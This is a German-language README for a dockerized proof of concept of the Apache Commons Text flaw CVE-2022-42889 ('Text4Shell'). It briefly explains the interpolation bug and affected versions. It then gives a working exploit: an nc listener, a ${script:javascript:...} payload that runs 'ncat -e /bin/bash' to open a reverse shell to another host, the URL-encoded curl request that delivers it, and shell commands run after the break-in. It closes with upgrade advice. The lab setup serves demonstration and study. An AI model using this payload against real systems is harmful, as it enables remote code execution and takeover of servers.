
Eine einfache dockerisierte Anwendung, die zeigt, wie die CVE-2022-42889-Schwachstelle ausgenutzt wird.
Proof-of-Concept für die Apache Commons-Text-Sicherheitslücke CVE-2022-42889.
Apache Commons Text führt variable Interpolation durch, sodass Eigenschaften dynamisch ausgewertet und erweitert werden können. Das Standardformat für die Interpolation ist „${prefix:name}“, wobei „prefix“ verwendet wird, um eine Instanz von org.apache.commons.text.lookup.StringLookup zu finden, die die Interpolation durchführt. Ab Version 1.5 bis einschließlich 1.9 enthielt die Menge der standardmäßigen Lookup-Instanzen Interpolatoren, die zu beliebiger Codeausführung oder Kontakt mit entfernten Servern führen konnten. Diese Lookups sind: - "script" – Ausdrücke mit der JVM-Skriptausführungsengine ausführen (javax.script) - "dns" – DNS-Einträge auflösen - "url" – Werte von URLs laden, einschließlich von entfernten Servern. Anwendungen, die die Interpolationsstandardwerte in den betroffenen Versionen verwenden, können anfällig für Remote-Code-Ausführung oder unbeabsichtigten Kontakt mit entfernten Servern sein, wenn nicht vertrauenswürdige Konfigurationswerte verwendet werden.
Apache Commons Text Version 1.5 bis 1.9
CVE-2022-42889-POC-Sicherheitslücke :docker build --tag=test/text4shell .
docker run -it -p 80:8080 --name text4shell test/text4shell
docker exec -it text4shell /bin/bash
nc -nlvp 8888
curl http://localhost/text4shell/attack?search=<anything>
Der Angriff kann durch Übergabe eines Strings "${prefix:name}" durchgeführt werden, wobei das Präfix das oben genannte Lookup ist: ${script:javascript:java.lang.Runtime.getRuntime().exec('ncat -e /bin/bash 172.17.0.1 8888')}
curl http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ncat%20-e%20%2Fbin%2Fbash%20172.17.0.1%208888%27%29%7D
pwd
cd /root
pwd
ls
pwd
cd /root
pwd
ls
touch hacked.txt
ls
pwd
ls
Wenn Sie nach dem ls-Befehl auf Terminal Tab 3 die Datei hacked.txt sehen können, ist der Angriff ausgeführt.

Benutzern wird empfohlen, auf Apache Commons Text 1.10.0 zu aktualisieren, das die problematischen Interpolatoren standardmäßig deaktiviert.